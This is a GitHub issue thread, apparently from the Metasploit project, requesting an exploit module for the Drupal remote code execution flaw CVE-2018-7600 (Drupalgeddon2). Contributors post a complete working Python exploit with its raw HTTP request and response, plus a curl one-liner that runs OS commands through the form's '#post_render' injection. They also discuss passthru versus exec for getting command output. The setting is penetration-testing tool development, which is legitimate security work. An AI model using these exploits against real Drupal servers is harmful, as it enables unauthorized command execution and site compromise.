Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2018-7600 (Drupalgedon2) #9789

Closed
syrius01 opened this issue Mar 30, 2018 · 17 comments · Fixed by #9876
Closed

CVE-2018-7600 (Drupalgedon2) #9789

syrius01 opened this issue Mar 30, 2018 · 17 comments · Fixed by #9876
Assignees
Labels
feature hotness Something we're really excited about module

Comments

@syrius01
Copy link

Hi !

Would it be possible to make an exploit module for the CVE-2018-7600 (Drupalgedon2) please ?

Thanks,

syrius01

@winers1290
Copy link

Why don't you do it yourself? There's a good discussion about it here: https://greysec.net/showthread.php?tid=2912

@syrius01
Copy link
Author

syrius01 commented Apr 1, 2018

Would love to do it myself! Unfortunately my coding skills are very limited. Thanks for sharing this link!

@RicterZ
Copy link

RicterZ commented Apr 2, 2018

There are still no exploit be published.

@bcoles
Copy link
Contributor

bcoles commented Apr 2, 2018

You can find more information about contributing to the Framework on the wiki, specifically:

@nixawk
Copy link
Contributor

nixawk commented Apr 13, 2018

$ python exploit-CVE-2018-7600.py http://192.168.1.19 "pwd"
/var/www/html
#!/usr/bin/env python
# -*- coding: utf-8 -*-

# CVE-2018-7600
# Drupal: Unsanitized requests allow remote attackers to execute arbitrary code

"""Tested against Drupal 8.4.5

$ wget -c https://ftp.drupal.org/files/projects/drupal-8.4.5.tar.gz
$ setup Apache2 + Mysql + Drupal

----

POST /user/register?element_parents=account%2Fmail%2F%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: 127.0.0.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 144
Content-Type: application/x-www-form-urlencoded

form_id=user_register_form&_drupal_ajax=1&mail%5B%23type%5D=markup&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23markup%5D=printf admin | md5sum

HTTP/1.1 200 OK
Date: Fri, 13 Apr 2018 05:19:28 GMT
Server: Apache/2.4.29 (Debian)
Cache-Control: must-revalidate, no-cache, private
X-UA-Compatible: IE=edge
Content-language: en
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Expires: Sun, 19 Nov 1978 05:00:00 GMT
X-Generator: Drupal 8 (https://www.drupal.org)
X-Drupal-Ajax-Token: 1
Content-Length: 191
Connection: close
Content-Type: application/json

[{"command":"insert","method":"replaceWith","selector":null,"data":"21232f297a57a5a743894a0e4a801fc3  -\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]

"""

# sudo pip install requests


from __future__ import print_function

__all__ = ['exploit']
__author__ = [
    'a2u',   # module developer
    'Nixawk' # module Improved
]

import sys
import requests


def send_http_payload(drupal_home_url, php_func, php_func_param):
    """Exploit CVE-2018-7600 drupal: Unsanitized requests
    allow remote attackers to execute arbitrary code
    """
    
    params = {
        'element_parents': 'account/mail/#value',
        'ajax_form': 1,
        '_wrapper_format': 'drupal_ajax'
    }

    payload = {
        'form_id': 'user_register_form',
        '_drupal_ajax': '1',
        'mail[#type]': 'markup',
        'mail[#post_render][]': php_func,
        'mail[#markup]': php_func_param
    }

    # Clean URLs - Enabled
    url = requests.compat.urljoin(drupal_home_url, '/user/register')

    return requests.post(
        url,
        params=params,
        data=payload
    )


def check(drupal_home_url):
    """Check if the target is vulnerable to CVE-2018-7600.
    """
    status = False

    randflag = 'CVE-2018-7600'
    vulnflag = randflag + '[{"command":"insert"'
    response = send_http_payload(drupal_home_url, 'printf', randflag)
    if response and response.status_code == 200 and randflag in response.text:
        print("[*] %s is vulnerable" % drupal_home_url)
        status = True
    else:
        print("[?] %s is unknown" % drupal_home_url)

    return status


def exploit(drupal_home_url, php_exec_func='passthru', command='whoami'):
    """Execute os command.
    """
    response = send_http_payload(drupal_home_url, php_exec_func, command)
    if '[{"command":"insert"' in response.text:
        command_output, _ = response.text.split('[{"command":"insert"')
        print(command_output)


if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python %s <drupal-home-url> <cmd>" % sys.argv[0])
        sys.exit(0)

    exploit(sys.argv[1], command=sys.argv[2])


## References
# https://research.checkpoint.com/uncovering-drupalgeddon-2/
# http://www.securityfocus.com/bid/103534
# http://www.securitytracker.com/id/1040598
# https://blog.appsecco.com/remote-code-execution-with-drupal-core-sa-core-2018-002-95e6ecc0c714
# https://github.com/a2u/CVE-2018-7600
# https://github.com/g0rx/CVE-2018-7600-Drupal-RCE
# https://greysec.net/showthread.php?tid=2912&pid=10561
# https://groups.drupal.org/security/faq-2018-002
# https://lists.debian.org/debian-lts-announce/2018/03/msg00028.html
# https://twitter.com/arancaytar/status/979090719003627521
# https://twitter.com/RicterZ/status/979567469726613504
# https://www.debian.org/security/2018/dsa-4156
# https://www.drupal.org/sa-core-2018-002
# https://www.synology.com/support/security/Synology_SA_18_17
# https://www.tenable.com/blog/critical-drupal-core-vulnerability-what-you-need-to-know
# https://gist.github.com/AlbinoDrought/626c07ee96bae21cb174003c9c710384

@RicterZ
Copy link

RicterZ commented Apr 13, 2018

FYI, Drupal 8.5.0 can exploit directly without auth, but Drupal 8.0-8.4.x is login required.

@nixawk
Copy link
Contributor

nixawk commented Apr 13, 2018

@RicterZ I've tested against Drupal 8.4.5 with the Poc.

// Filter the outputted content and make any last changes before the content
// is sent to the browser. The changes are made on $content which allows the
// outputted text to be filtered.
if (isset($elements['#post_render'])) {
  foreach ($elements['#post_render'] as $callable) {
    if (is_string($callable) && strpos($callable, '::') === FALSE) {
      $callable = $this->controllerResolver->getControllerFromDefinition($callable);
    }
    $elements['#children'] = call_user_func($callable, $elements['#children'], $elements);
  }
}
  // ---------- PoC Attention
  // This is why [passthru] can do it, but others fails.
  // Unable to parse the controller name "bash64_encode". 

@RicterZ
Copy link

RicterZ commented Apr 13, 2018

@nieldk ooops, drupal 8.4.5 also can be exploit by this script..

@madmike33
Copy link

@wvu
Copy link
Contributor

wvu commented Apr 13, 2018

I'll whip up a module for this. Was hoping to last night, but sleep overrode. :-)

@wvu wvu added module hotness Something we're really excited about feature labels Apr 13, 2018
@wvu wvu self-assigned this Apr 13, 2018
@Brcrwilliams
Copy link

If you use passthru instead of exec, you can view the output of the command in the response. Nice if you don't want to bother with cleaning up a webshell.

curl --data 'form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=passthru&mail[#type]=markup&mail[#markup]=id' 'http://localhost:8999/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'

uid=33(www-data) gid=33(www-data) groups=33(www-data)
[{"command":"insert","method":"replaceWith","selector":null,"data":"\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]

@wvu
Copy link
Contributor

wvu commented Apr 13, 2018

Depends on what all is enabled/disabled in PHP, but passthru is definitely preferred if we want output! It would do well in a check method. :)

@nixawk
Copy link
Contributor

nixawk commented Apr 14, 2018

void passthru ( string $command [, int &$return_var ] )

The passthru() function is similar to the exec() function in that it executes a command. This function should be used in place of exec() or system() when the output from the Unix command is binary data which needs to be passed directly back to the browser. A common use for this is to execute something like the pbmplus utilities that can output an image stream directly. By setting the Content-type to image/gif and then calling a pbmplus program to output a gif, you can create PHP scripts that output images directly.

Some PHP functions output can be passed directly back to the browser. e.x: passthru, printf.

@adampankow
Copy link

José Ignacio Rojo (@jirojo2) created a module for this: https://github.com/jirojo2/drupalggedon2

@jirojo2
Copy link

jirojo2 commented Apr 18, 2018 via email

@wvu
Copy link
Contributor

wvu commented Apr 18, 2018

Hi, @jirojo2. Did you see #9876?

Btw, I tested eval already, and it's conflicting with our PHP payload(s) and creating a 500 error. I'm going to work on that once I get version detection and automatic targeting done.

CmdStager also needs to be checked for badchars. php -r isn't any more ideal than python -c. We really need a better way to switch between ARCH_CMD and "native" payloads.

Great work on your end! Feel free to drop by the open PR if you want to collaborate. :)

@wvu
Copy link
Contributor

wvu commented Apr 25, 2018

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
feature hotness Something we're really excited about module
Projects
None yet
Development

Successfully merging a pull request may close this issue.

10 participants